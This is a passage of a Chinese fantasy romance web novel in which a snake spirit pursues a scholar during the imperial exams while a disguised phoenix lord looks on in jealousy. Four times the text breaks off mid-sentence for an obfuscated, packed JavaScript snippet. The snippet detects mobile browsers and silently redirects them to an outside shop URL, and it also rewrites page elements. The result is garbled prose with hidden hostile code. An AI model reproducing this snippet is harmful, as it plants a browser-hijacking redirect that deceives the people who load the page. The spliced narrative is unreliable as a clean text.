吕浮白眉目舒展,“那以后我都跟你一起。” “好啊!”花清浅没多想,反正这是双赢的事,他乐意帮她赚功德,再好不过:“那就这么说定了,以后有这种事,你都要跟我一起去。” 玉京子来回看着两人,总觉得气氛不对劲,绞着眉毛插话道:“对了,你说这次事件复杂?怎么复杂了,不就是个狐狸护夫案么?” “问题是,严格来说,她有两个夫。” 听完这桩事背后的弯弯绕绕,玉京子发出一声惊呼:“天底下竟有这么巧的事!” “什么巧事?” “你想想,胡紫对宋观山一见钟情,你也对凤凰神君一见钟情;最后宋观山对她倾心,神君也对你倾心;而且宋观山有那个神器金银钉,相传神君好像也有个什么秘宝,可以让人长生的那种。这还不巧?”玉京子竖起一根指头,煞有介事: “这个胡紫和宋观山,不就是翻版的你和凤凰神君?要是你当年也跟胡紫一样心狠,还死遁个什么劲,直接学她杀神夺宝,多好。” 花清浅摁下去他的手指:“首先,傅玄秘宝千千万,就是没有用来长生的,你想多了。” 玉京子发出一声失望的哼哼。 “其次,就算他真有所谓的秘宝,我也不会去抢。” “为什么啊?” “因为傅玄是个好神仙。他护佑万民,安稳六界,天上其他神仙加起来也顶不过他一个。”她垂首说道,“相比之下,我一条小小花蛇,死活有什么要紧?寿数若尽,死便死了,有什么可——” 吕浮白再听不下去,忍不住咳嗽了一声,唤道:“清浅。” “啊?”花清浅被迫止住话头。 “没有你,傅玄已无心护佑万民。”他安静地提醒她,“你假死的五十年来,他闭关不出,一意孤行搜寻禁术,试图复活你的魂魄,除此之外六界事务概不插手……” 凡心一生,神格即灭,他早就当不起她称赞的好神仙了。 花清浅愣愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478428|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地看着他,听他继续说道:“所以清浅,你的死活十分要紧,不能‘死便死了’。这样的话,以后不要乱说。” “哦,我、我知道了。”花清浅其实没有很注意听他话里内容,只有点恍惚地道,“可是吕浮白,你是如何练成傅玄这种语气的?” 吕浮白动作一顿:“什么语气。” “就这种语气,你刚才跟他简直就是一个模子里刻出来的,太可怕了!”花清浅夸张地捂住脸:“当初我求偶的时候,跟在他后面学他说话,怎么学都学不会,你怎么会模仿得这么像!” 她对自己可真不怜香惜玉,捂脸的指尖一点没收力,摁粉了一片软嘟嘟的脸颊肉。吕浮白一眨不眨看着她分外可爱的模样,见她放下手,又连忙移开视线。 “神君是哪种语气?我没觉得吕浮白刚才跟平时有什么不一样呀。”玉京子在一边好奇道。 花清浅从他手里抢来一个奶糕,闻言想了想: “神君的语气吧,很难形容,就是那种,很特别的那种,三分认真,三分温和,还有三分严厉,但你知道他是为你好,所以听上去一点也不刺耳,让人恨不得缠着他多说几个字的那种。” “呃。”玉京子表示一言难尽,“你确定你不是还喜欢他?说个话而已,叫你描述得比唱的还好听。” “神君说话本来就好听。” 听到她这样说,吕浮白唇边勾起一个淡淡的弧度,心头像有蜜流出来。直到她忽然一转头,问道:“东方呢?” “在他的房间里,一天都没出来,但也没听到他念书。”玉京子撇撇嘴,“鬼知道他在干什么,说不定在偷懒睡大觉呢。” 花清浅立刻朝东方容楚的房间走去:“从早睡到晚,睡坏了身子怎么办?我去叫他。” “她还真是一刻都离不开那个东方。”玉京子吧唧吧唧嚼着奶糕,在她身后酸了一句。 吕浮白立在原地,看见她在东方房门打开的一瞬间身体前倾,装作没站稳的样子撞进书生怀里。 她假摔的样子还是那么娇憨可爱,可对面已经换了个人。她明明说神君声音好听,又说他是个好神仙,可她怎么就是不愿再爱他,转而对书生用起了心思。 他不忍再看,心尖淌蜜,也在滴血,径自回了房间。 - 翌日四人在上房用过五花八门的餐点,便早早出发,直奔京城。 此前东方容楚一直闷在房间,原来不是在睡大觉,而是在默写经典。花清浅要来他默过的纸张,小声念了几遍,半晌后凑在他身边,指着某处得意地点了点: “曾子说的这句‘富润屋,德润身,心广体胖’,这个胖不是肥的意思,它念作盘,是舒适之意,你可千万不要搞错了。” 她尾音上扬,那股“快来夸我博学”的劲儿一点也没掩饰,讨人喜欢得紧。东方容楚勾了下唇角,顺着她道:“多谢提醒,这个字的确很容易弄混。姑娘是怎么知道的?” 花清浅清清嗓子,正准备长篇大论,后面的吕浮白却忽然走上前来,冷冷插话道:“自然是有人教她。” 37. 第37章 花清浅本来打好了几百字的腹稿,要重点突出一下她是个多么贫苦、但又多么努力的上进女子,这下全被吕浮白给毁了。她咬着牙看他一眼,但也没法反驳他什么。 因为他和她都知道,教过她古字古义的不是别人,正是凤凰神君。 用傅玄手把手教过的知识撩人,好像是有点过分。花清浅思量一番,妥协地换了个话题:“哎呀,不管这些古经了,东方东方,我看你今日一身白衣,忽然想到一句词,你猜是什么。” 东方容楚猜了好几句,都不对,最后只好请她给出答案。花清浅叫他附耳过去,悄声诵道:“娟娟展白衣,饶此绝色。” 他白净如玉的脸庞顿时变得通红,蜂蛰了似的从她面前退开,惊讶地看着她,声音不稳道:“你、你怎么能……怎么能吟这种词!” “这种词怎么了,夸你好看还不行?”花清浅有些莫名其妙。 见她眨着眼睛,真是满脸无辜的模样,东方容楚脸上的热度这才稍稍退却,哭笑不得地开口解释。 “这里的白衣,意思不是白色衣裳,而是,而是……那个什么。这是句艳词,写的是轻佻下流的青楼女子,姑娘是从何处听来的?” “啊?这是我从《南阳蝴蝶记》上看来的,那个书生用这话称赞了一番花魁的容貌,花魁也没生气,还夸他文采好,怎么会是艳词——” 花清浅想起话本里后续发生的情节,后知后觉地反应过来:是了,花魁身在贱籍,就算那书生下流之极,对她而言也是根救命稻草,她肯定不敢跟他发脾气。 “听你一说,我也觉得这句词怎么听怎么不对。”她越想越尴尬,“这么明显的艳词,我一开始怎么就没看出来呢?我真不是故意想调戏你的,你别生气啊。” 虽然以往有许多次是故意的,但这次真的不是。她分得清轻重缓急,临近会考,她没想让他心绪不宁。 她娇嫩的脸蛋涨得通红,浓黑的睫毛一颤一颤,目光低垂,心虚的模样谁见了都不忍责怪。东方容楚也知道她没有坏心思,温和道:“我生什么气?都是小事,姑娘不要放在心上。” “嘿嘿,我就知道你不会跟我计较。你人真好!” 两人周围仿佛形成了一圈无形气场,旁边的吕浮白再也没有插嘴的余地,玉京子都替他觉得多余,暗暗给他使了个眼色,要他走到后面来,可他就是不走。 他刻意忽略了玉京子的眼神,就这样默默跟在花清浅身边,时不时拉她一下,帮她避开路上凸起的石子,一直走到了天黑,四人抵达京城脚下。 - 京师客栈五花八门,远非小小的五门峡可比,有的客栈上方居然附带半座园林,比花清浅慕城的整间宅院还大。她挑得眼花缭乱,最终为了东方容楚应试考虑,选在了离考场最近的一家。 这次是东方容楚出钱,在他亮明身份后,客栈老板立刻朝他恭敬拱手行礼,还主动少收了一半房费。 东方现在还没考中进士呢,光是举人就这么受人尊敬,若他成了状元,该是何等风光?花清浅看着他与客栈老板交涉,心驰神往地道:“他这次十有八九会高中,我要是抓紧时机嫁给他,说不定能作为状元娘子,跟他一同打马游街。” “不可能。”身边吕浮白忽然开口,“东方容楚是儒生,恪守礼教,必不会允许娘子那般抛头露面。” “……我就是想想。” 吕浮白犹豫了一瞬,低声问道,“那书生如此古板,你还想着要嫁给他?” “古板,古板又怎么了,只要他的优点大过缺点,为什么不能嫁。”花清浅目光仍紧随着东方容楚,看他立在柜台边,耐心等待客栈小二翻找房牌,一身白衣玉树临风,简直是从话本里走出来的温润才子,越看越觉得她眼光真好。 她的目光那样入迷,却分毫也没有落在吕浮白身上。他心中泛起细密的疼痛,像是无数小虫在啃噬着陈年伤口,没话找话地道:“你想要嫁给东方,是因为他与神君相像吗?” “当然不是!你怎么会这样想?”他这一语石破天惊,花清浅一个激灵,顿时从东方容楚身上收回了目光:“找替身这种缺德事,我才不干呢!” 吕浮白淡淡提醒她:“两日前,你说你觉得他与神君很像。” 过了好一会,花清浅才回忆起来,那时她要打消胡紫的疑虑,随便扯了个话题,说东方容楚长得像凤凰神君。 一句玩笑话而已,他居然记到了今日,真不愧是护祖宗护到家的小心眼鸟族。她无语地解释:“他们当然不像,东方容楚这么温柔,哪有神君那么冷。要说相似,东方容楚倒是跟赵刑西更像一点。” 赵刑西,是她的第二任夫君。 吕浮白神色晦暗,轻声道:“原来如此。” “他那双眉眼跟赵刑西特别像,周身那股文雅气也很像。但你别想歪了啊,东方可不是赵刑西的替身。”花清浅郑重声明,“我现在喜欢的是东方本人,不是任何人的影子!” 此时东方容楚距离两人不近,凡人的听力绝对听不到他们这番谈话,但她还是将他维护到了最后一刻。 她爱上一个人的时候,思虑总是如此周全,一点一滴都要做到最好,扼杀所有误会的种子。 很久很久以前,傅玄是不是也曾在看不见的地方,被她这样妥帖地爱过。 一颗心被回忆割伤,鲜血淋漓,他疼得快要窒息,挣扎着道:“那、那你要当心。” 花清浅茫然地眨眨眼睛:“什么?” “你总是……爱得太深,容易被伤到。”他说,“神君伤过你一次,你要当心,不能在书生这里栽倒第二次。” 没想到他这么关心她,花清浅有点受宠若惊,挑眉笑道:“知道啦,我也没那么笨,栽过一次的坑,哪有那么容易栽第二次。” 这时东方容楚终于摆脱谄媚的老板,拿到房牌走了过来,她不知不觉扬起一个微笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493116|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小步跑到他面前,撒着娇要跟他住邻间。 还说不容易栽第二次。吕浮白微微摇头,叹了口气,上前拿过自己的房牌,正好将她与东方的房间隔开。 - 花清浅迫不及待要一览京师夜景,于是刚安顿好之后,她便又出了房间,跳过挑灯夜读的东方容楚,将玉京子和吕浮白都叫出来逛街。 京师数十条繁华街巷,入夜时统统点起盏盏莲花灯,清香伴着晚风,衬得京郊如同人间仙境,那句“游人不醉饮风自醉”,说得一点没错。 夜市更是千姿百态,玉京子看得两眼发直,拉着花清浅的窄袖大发感慨:“这么美的地方,咱们早就应该来啊,老呆在慕城有什么意思!” 花清浅看多了话本子里的叙述,却觉得京城美则美矣,倒也没有那么叫人惊叹。 “你忘了你去过云廷玉城,那才是游玩的好地方,比这里灵秀多了。”她拽过玉京子的后领,不许他伸长了脖子往人家街边摊的锅子里瞅,显得太没见识。 “云廷玉城,那是哪儿?” “在天界附近,算是鸟族的一处聚集地。”花清浅说道,“诶,鸟族的地界,吕浮白你应当知道吧?” 吕浮白点了点头,“那里景色的确不错。” “何止不错,那是相当的好,连傅玄也爱去呢。”她啃了口刚买来的糖葫芦,口齿不清地道:“不过,他常去那里,也可能是为了鸟族圣女,不一定是欣赏美景。” 吕浮白定定地看着她:“你说什么?” “都是过去的事啦,没什么。” 他却不肯罢休:“你说,傅玄去云廷玉城是为了鸟族圣女?” 明明是她三天两头总往云廷玉城跑,鸟族排外,他怕她在当地受人欺负,这才拜托云廷玉城的掌权人多关照她,怎么在她嘴里,他又和鸟族圣女纠缠不清了? 在他不知道的地方,她究竟对他有多少误会? “你这不是听清了么。”花清浅看着他严肃的目光,有点腿软,“不是,那时候大家都是这么猜的,我这不算造谣神君吧?” “大家是谁?” “蛇谷,天界,云廷玉城本地人,所有人都这么说。”花清浅如实回答,“我也是维护过神君清誉的,我跟那些人狠狠吵过架来着,不过他们以为我是吃圣女的醋了,并不信我……反而,反而是我信了他们的话。” “——他们说,神君对待鸟族圣女确有不同,说得有理有据,我就信了。” 吕浮白压抑着问:“你宁可信那些人,都不去亲自问问神君本人么?” “我不用问啊,我会看。”花清浅无辜道,“那圣女给神君送过花,神君接了。这难道不是旧情难忘——” “神君没有旧情。”他看向她,语气淡淡,不知怎的竟显出几分可怜。 他没有什么旧情,他只有过一条放在心上的漂亮小花蛇,可她不要他了。 她也不信他。 38. 第38章 新年之春,京师初初回暖,由礼部主持的会试正式开考。 花清浅不懂凡间科举,东方容楚又早已将所有物品准备齐全,她也就没有替他乱操心,只注意着没有去打扰他,让他专注复习。 开考第一日,她坐上客栈老板主动租出的马车,与玉京子一起将东方容楚送到贡院。 最近几日客栈里挤满了赶考的学子,到处都是书香墨香,楼上楼下都能传出读书的声音,她与玉京子两人被浓厚的氛围感染,夜里连街都不大敢逛了,只敢安安分分地待在自个上房。 大考在即,东方容楚却仍是呼吸平稳,一派温和不惊的气度。送他下车时,花清浅不由叹道: “你这养气功夫可真好。看来这次考试,你是十拿九稳啦!” “姑娘谬赞。”东方容楚暖声道,“大焱朝科举至今,天下英才尽聚京师,晚学也不敢说有十足把握,只是平日未曾稍怠,以供场上拼力一搏罢了。” 花清浅容色明媚,跟着他跳下马车,学着他的样子与他拱手作别:“进去吧,我等你好消息!” 她今日穿了一身鲜丽的绮罗衣裙,裙摆是不常见的绯红,上绣藤萝花纹精致无匹,衬得肤色白里透粉,整个人在日光底下美成一道惊艳的风景。 路过的学子十个有九个都为她驻足回眸,东方容楚立在马车边,感受到过往来人羡慕或嫉妒的视线,心知这正是她想要的效果,也没有叫她快回马车上,只无奈地笑了笑。 “谢过姑娘好意。”他最后说了一句,便向贡院入口处走去,监考给他验明正身,放他进场,花清浅支着下巴,望着他的背影,直到那抹白衣彻底消失不见,才满足地上了马车。 见她终于肯上车了,玉京子抱怨道:“这东方的背影那么宽阔,没有一点书生该有的清瘦,有什么好看的,叫你看了这么久。” “你懂不懂啊,这才叫标准的书生,君子六艺里边还有骑射呢,没点体力能练得下来么。”花清浅挽起绛红色的宽袖,素手很不斯文地拍了下他的脑袋,他头上的鱼骨簪被拍得一晃: “难不成天下书生都得手无缚鸡之力,跑两步就气喘吁吁的?看话本把脑子都看傻了。” 玉京子撇撇嘴,“那你也不至于迷成这样吧,肩膀比他宽的人可多了,比如那个吕浮白,他那背影不比东方容楚好看?” “你拿一个凡人和堂堂大明王世子比身材?” “堂堂大明王世子在这,你却非要看上一个凡人做夫君。”玉京子继续撇嘴,“唉,你这什么眼光。” “这是比你好千百倍的眼光!”花清浅懒得与他争,随手拿了块油糕堵住他接下来的话。 - 会试一共三场,每场三天,中间还下了场雨,将好容易升起的初春暖意浇得一干二净。不少身子弱的书生直接在考房里高烧晕倒,被抬了出来,陪同的家人们哭天抢地,看着比人死了还伤心。 “不知道东方怎么样了。”会试的最后一日,花清浅三人去京郊游湖,听见岸上有人唱曲,期间有羌管应和,她又不自觉想到了东方容楚,“他惯于习武,身子应该不弱,但若淋了冷雨……” 吕浮白看她微蹙着眉,满目忧色,便压下心中酸楚,安慰她道:“考房也不是个个都漏雨,那书生吉人天相,不用太担心。” “就是,好容易眼下冰消雪融,这么好的景色就应该好好欣赏嘛,想那么多做什么。”玉京子在船头附和道。 花清浅被他们说服,移步走到船头赏景,这时正好有两条一红一黑的鲤鱼从湖面蹦出,溅起点点雪白的水花。玉京子看着看着,忽然指着那对鲤鱼朝花清浅与吕浮白说道: “快看那两只蹦上来的鱼,像不像你们两个?” 花清浅一身红裙,吕浮白一袭黑衣,光从颜色上看,还真和湖中蹦起的鱼儿有点像。 他说话间,那两条鱼蹦跶的动作更加剧烈,险些撞到了船帮上。花清浅不忍直视,捂着眼睛嫌弃道:“好蠢的鱼,可别说我像他们。” 她一面嫌弃,一面却又暗暗运起灵力,水波将两条鱼轻柔卷起,送到更加安全的水底。 玉京子没察觉出灵力波动,还对两条鱼莫名消失很是遗憾,目光又转回花清浅身上:“但你不觉得那两条鱼,尤其是那条红鲤鱼,在水里游得特别飘逸吗?你今日这身红裙也很飘,和那条鱼真的很像。” 花清浅闻言挑眉一笑。初春的碧湖之上,纱袍红裙的少女棕眸水光粼粼,细软发丝随风轻扬,称得上是从古画中走出的倾国之色,其他船只上早有人惦记着她,时时偷看,如今见她一笑,不少船上都响起一阵低低的惊呼。 “哇,你穿这个红裙真的很漂亮。”连玉京子也满脸惊艳地叫出声:“不是说你平时不漂亮,清浅,但是你一穿红的,真漂亮得太过分了!你平时怎么不多穿红衣啊?” 花清浅漫不经心道:“因为我怕闪了你的眼睛。” 她没有说实话,吕浮白知道。 她不喜欢穿红衣,是因为那日她去南海之滨,偶遇一个好/色的海老,见她一身红衣格外妩媚诱人,就控制不住对她生出觊觎之心,她在海底险些丢了半条命,鲜血将整片海域都染成红色。 自那以后,每次看到红衣,她都会想起那个令人胃口大倒的海老,因此总要避开,哪怕红衣其实最能衬她。 然而,为了给东方容楚此次会试讨一个“鸿运当头”的彩头,她却去京师最好的似云衣坊定做了这身流动飘逸、用料不菲的绯红长裙,外头罩着层此店最拿手的绯色烟罗轻纱,瞧着比九重天上正经的仙袍还像仙袍。 在东方容楚进院考试的这几日,她外出游玩都穿着这身绯红长裙,容色奕奕,像是忍不住要绽放的漫山桃花,快乐又幸福,对红衣的排斥彻底消失不见。 往后再看见红衣,她应该只会想起东方容楚,不会再想起什么恶心的海老。 无论如何,能让她展颜一笑,东方容楚也算功德无量。 - 游完湖,会试也差不多该结束了,三人赶往贡院,不一会就在门口看见了东方容楚的身影。 跟其他学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503242|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子比起来,东方容楚算是很年轻的,他身体不弱,脸色也没有别人看起来那么差,但到底也比之前憔悴了几分。 花清浅几步跑上前去,想扶着他走,东方容楚的力气却还挺大,坚持没用她扶,自己上了马车。 “先回客栈,好好睡上一觉。”会试成绩要在一个月后才张贴出榜,花清浅跟在他身后踏上马车,欢快地说: “这一个月你就别想成绩啦,跟着我们痛快玩上几十天!我和玉京子已经把京师探得差不多,哪里最好玩、哪里最好吃,我们都一清二楚,准保不会教你失望的。” 东方容楚靠在车厢壁上,轻轻点了点头,对她的安排没有半点异议。 翌日,客栈为上房准备的早饭有状元登科五谷豆浆、定胜糕、水晶中举枣,意头好是好,就是糖放得太多,每一口都甜得发腻。 花清浅象征性吃了两三块,就再也吃不下去,低头搜寻着乾坤袋,吕浮白问她:“在找什么?” “地禾角,我走之前从家里带的,那东西最解腻了。”她在乾坤袋里翻来翻去,却怎么也不见那几只地禾角的踪影,“奇怪,我明明记得带了呀?” 玉京子咳嗽着喷出一口点心沫。 花清浅立刻反应过来,抬起头瞪向他:“原来是你小子给我偷吃了?!” “我没偷!”玉京子大声叫屈,“那日我走山路走饿了,想吃点东西,你叫我自己从乾坤袋里拿的!” “我起码带了七八只地禾角,你一顿就给吃光了?!” 玉京子咽了口口水,小声说:“那玩意一口咬下去全是甜水,又不占地方,我没注意就吃完了嘛。” 明明是条蛇,他的饭量怎么能跟猪有一拼?顾忌着东方容楚就在旁边,这话也不好直说,花清浅只能悻悻收起乾坤袋,喝了口茶,努力压下心头郁闷。 姿容明媚的少女低垂眼睫,小脾气没处发,看得人心都要化了。东方容楚抿了下唇,说道:“京师没有地禾角,但此地特产霖黄果,味道与地禾角相差不多。你有兴趣,可去尝尝。” “霖黄果?这是什么果子,我都没听过。”花清浅长睫眨了两眨,忽然意识到什么:“等等,你怎么知道京城有什么特产,圣人书经里连这些都教吗?” “与圣人无关。只是我有位叔父在京为官,小时候我借住他家,对此地风土人情难免熟悉些。” 花清浅吃了一惊:“你在京城有亲戚?那赶紧去拜会拜会呀!” “叔父是武职,早已调至边关,现下不在京城。”东方容楚解释道。 原来他对京城如此熟悉,那此前她对京师的神往,吟诵的诗词,还有要带他玩遍京城的狂言,被他看在眼里,岂不全是笑话?花清浅有点恼羞成怒:“那你怎么不早说——” 东方容楚没有回答,只含着一丝笑意看向她,她却毫不费力地读懂了他想表达的意思:那你也没问呀。 跟书生打交道真气人,他什么时候都是最有理的,更气人的是,他不仅有理,游刃有余垂眸看向她的样子居然还十分俊朗。 39. 第39章 “那现在你才是最了解京师的人,接下来就换你带我们三个吃喝玩乐了啊。”花清浅能屈能伸,转进如风:“待会吃完饭,你就带我去买霖黄果,要是不好吃,我可是会发脾气的!” 东方容楚一口答应。听说有吃的,玉京子自然要跟着去,花清浅最后转向吕浮白,邀请他也一起,他却摇了摇头,说还有事,就不陪她了。 在这人生地不熟的京城,他能有什么事,难道这里还盘踞着孔雀族不成? 花清浅心中好奇,但也没问到底,吕浮白乃堂堂世子,有自己的事要做太正常了,又不是每个人都必须围着她转。 她与东方容楚三人走后,吕浮白回了一趟慕城。 热闹的集市里,他逐一看过一家家专卖地禾角的小摊,能看穿一切的目光认真打量摆出展览的地禾角,评判着哪一家的果子汁水更充沛,最终在一个小摊前停了下来,指着剩下的十几只地禾角,说道:“这些我都要了。” 戴着头巾的农户手脚麻利,把摊上剩下的地禾角统统装进布袋里,扎好封□□给他。 吕浮白拿好地禾角,在离开集市的那一刻,身形原地消失,下一刻又出现在京城的客栈里。 此时花清浅还没有回来,他回到上房,神识开启,整个京城的景象倒映进瞳孔,轻而易举便找到了她所在的地方—— 一家招牌写着“大刀牛筋面”的小馆,她和东方容楚坐在方桌一侧,玉京子坐在另一侧。东方容楚指着某个菜名,似乎用方言讲了个冷笑话,花清浅惊讶地看着他,乐不可支与他笑成一团。 过了不一会,头发花白的店家同小二端着三碗面出来,分别放到三人面前。 东方容楚给花清浅拿来竹筷,又细细用热水烫过,那店家见状,不由笑道:“实话说,老朽开了这么多年店,还是第一次见到您二位这么恩爱的夫妻。俗话说郎才女貌,两位真是般配到天上去啦!” 东方容楚俊脸一红:“老伯误会了,我们二人并非夫妻。” “啊呦,这怎么行呢,这姑娘这么漂亮,你怎么能不给人家名分?!” 东方容楚待要解释,花清浅却探出身去,把他按在椅子上,叫他不许说话,自己转过身朝店家道:“您放心,我今日就叫他给我名分。” 那店家这才满意地点点头,朝后厨走去。 “对不起诸位。”帮他端碗的小二冲三人连连拱手,小声说:“我们店主年纪大了,脑子不太好,唐突了姑娘和公子,实在抱歉。” 抱什么歉,这正是天赐的机缘,花清浅素手一挥,让他下去了。 “连第一次见面的老伯都觉得我们般配。”她软软地说道,水色潋滟的棕眸偷偷望向对面的书生: “其实你也觉得我很漂亮,也很为我心动,对不对?” 她嗓音软下来时甜得要命,还藏着满满的得意,东方容楚抬起眼,一瞬不瞬地盯着她,像是想要说些什么,却又说不出口。 唉,读书人这面皮就是薄。花清浅放了他一马,自信道:“你不说没关系,你不说我也知道。” 东方容楚温润如墨的眸底酝出点点笑意。 “嗯,姑娘好聪明。” 花清浅猛地看向他:“你说什么?!” “我说,姑娘聪明,猜得不错。”他缓声说道,“姑娘虽然说没关系,可我还是想说得清楚些,免得日后生出误会。” 花清浅极力想装得淡定一些,但嘴角还是忍不住疯狂上扬:“你想的可真多,哪里会有什么误会,你爱我爱得这么明显——” 她把脸蛋埋进大碗里偷笑,看起来那样快活,无忧无虑,玉京子在一边使劲翻着白眼,也丝毫没有影响到她的心情。 在三人桌边,放着半篮霖黄果,这种橙黄的果子降雨而生,口感脆甜,确实是地禾角最佳的替代品。 已经吃过霖黄果,她或许早就不需要地禾角了。 吕浮白看着手里那袋地禾角,觉得他从头到脚都像这些费尽气力、却没什么用处的果子。 风尘仆仆,既拙且苦,终究是,不合时宜。 - 成为状元娘子的美梦眼看就要成真,花清浅兴高采烈,回到客栈,一关上房门,她便打发玉京子今后自己玩去,她要和东方容楚两人单独相处。 玉京子不情不愿地答应了。 “别不高兴嘛,你这样想,东方他知道好多家秘制点心居,以后我给你多带点点心回来,怎么样?” “我就不能跟你们一起去吃吗?” 花清浅支支吾吾,不敢说不能,也不想说能。 “那书生有什么好的,把你迷成这样!”玉京子算是看透了,当下大声抱怨:“还说他心悦于你,哼,等他知道你是蛇妖,看他心里还能不能悦得起来。” “你小子给我适可而止啊——”花清浅刚要发作,却听门外传来一道儒雅的声音: “我知道清浅是蛇妖。” 是东方容楚! 花清浅傻乎乎地与玉京子大眼瞪小眼,过了片刻才反应过来,手指一勾,隔空打开门,对上东方容楚隐隐藏着笑意的视线。 “你、你怎么知道的?”她语无伦次地问,“难道是我哪次没注意,在你面前露出了蛇尾巴?” 东方容楚摇了摇头,仍站在门口说道:“是在五门峡的那一夜,你们在我房门外说话,言语之间提到山神、狐妖等事。我本无意偷听,可玉公子的声音实在太大,我想要提醒他的时候,他已经说到了你们的身份……” 五门峡客栈上房收费那么贵,隔音居然这么差!花清浅想斥资给那间客栈加厚墙壁,又恨自己没有及时设立结界,一口银牙几乎咬碎。 看着她纠结悔恨的神色,东方容楚仿佛知道她在想什么,轻声问了句:“我能进来吗?” “当然能啦。”花清浅叹了口气,指使玉京子出去把门带上,“除非你被我的身份吓破了胆,被老和尚教唆去当和尚,再眼睁睁看着我被镇在雷峰塔下。” 东方容楚听出她在说白蛇传的故事,耐心道:“我心悦于你,当然不会被你吓破胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518817|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他话音未落,说时迟那时快,一阵灵光闪烁,花清浅忽然在原地变成一条花蛇,蛇口大张,亮出四颗尖尖的小獠牙,闪电般朝他面前扑来! 东方容楚一动也不动,任由花清浅的獠牙往他鼻子上撞。 没想到他不闪不躲,花清浅在最后一刻差点没收住力,蛇首挨了一下他的下巴,整条蛇失去方向,掉进他怀里。 “嗷!”她发出一声痛嚎,“你这人真是的,看见蛇怎么不躲啊!” 东方容楚无奈地看着她:“我要是躲了,你会不会认定我接受不了你是蛇妖,从此再也不见我,无论我解释什么,你都不会听?” “这个……呃,可能,会吧。”她在他腿上盘好,心虚地看了他一眼,“你怎么知道?不是,你一个凡人,怎么也会读心术啊,跟神君一样!” “我不会读心术。只是与你相处至今,对你的心性好歹也能知晓一二。”她看着放肆又机灵,其实在感情上胆小得很,一旦苗头不对,立刻会掉头就跑。 东方容楚心知肚明,给她揉揉冰凉的蛇脑袋,缓声问道:“不过,神君是谁?” “什、什么神君?” “你刚才以为我会读心术,说我‘跟神君一样’。这个神君,是谁?” “就是一个神仙,没、没什么的。” 见她不想多说,东方容楚也不勉强,转而从袖中拿出一个银色的小锦盒,递到她面前。 “我今晚来找你,是想送你这个。” 花清浅用尾巴打开盒盖,昏暗的房间里顿时一亮,锦盒里面原来是一块美玉,将如豆的烛光折射出千百倍明丽却不夺目的色彩。 “这是月光珠玉,相传能给人好运,护人平安。”她对人间玉石没有研究,东方容楚柔声解释道,“我父母以前做玉料生意,他们去世得早,没有别的积蓄,就把这块玉当作家传留给了我,叫我送给心上人当彩礼。” 这块玉石没什么繁复的造型,也没有点缀额外的宝石,只是通体毫无瑕疵,在烛光下稍微明亮一点而已。 所谓护人平安之说,大约也过于夸张,花清浅看得清楚,玉石上缠绕的灵气很淡很淡,几乎可以忽略不计。 在凡间,这块玉或许价值连城,然而与她从前在蛇谷、天界收集的宝物相比,这块玉什么都不是,甚至连西陆妖尊送她的那些东西也比不上。 可她就是着了魔一般地想要。 “不,不行。”她失神了片刻,还是控制住自己说道,“这块玉是你爹娘给你的念想,我如何能要。” “你给我的那块水晶——” “那是我随手做的,一点也不贵重。”她态度坚决地躲开他的手,“我们妖族最讲究心意相等,我还没有对你这么用心,受不起这样贵重的礼物,不然就是道义有损,天道不答应的。” 东方容楚失笑:“天道连这个都管?” “那当然,天道管得可宽了。我跟你说,玉京子其实不是我弟弟,他是我救回来的朋友,天道差点都不让我救他……” 40. 第40章 夜色已深,两人如今毕竟未婚未嫁,东方容楚坚持要回他的上房歇息,花清浅只好从他膝上下来,变回人形,把他送到门口。 “咱们真的不能明日就成亲吗?”她可怜兮兮地抓住他的宽袖,眼中满是央求,“那位大刀面馆的店主说得没错,我应该要有一个名分的!早定下来早踏实。” 东方容楚一面往门口走去,一面说道:“你若真的想早早定下来,方才就不会拒绝我的彩礼。” “那我反悔了!”她跟在他身后耍赖,揪着他的袖子不让他走,“我刚才不知好歹,你再把那个月光珠玉给我一次,我肯定收!” 东方容楚转过身,看着她当真有几分后悔和气恼的棕色水眸,轻轻顺了顺她的发丝。 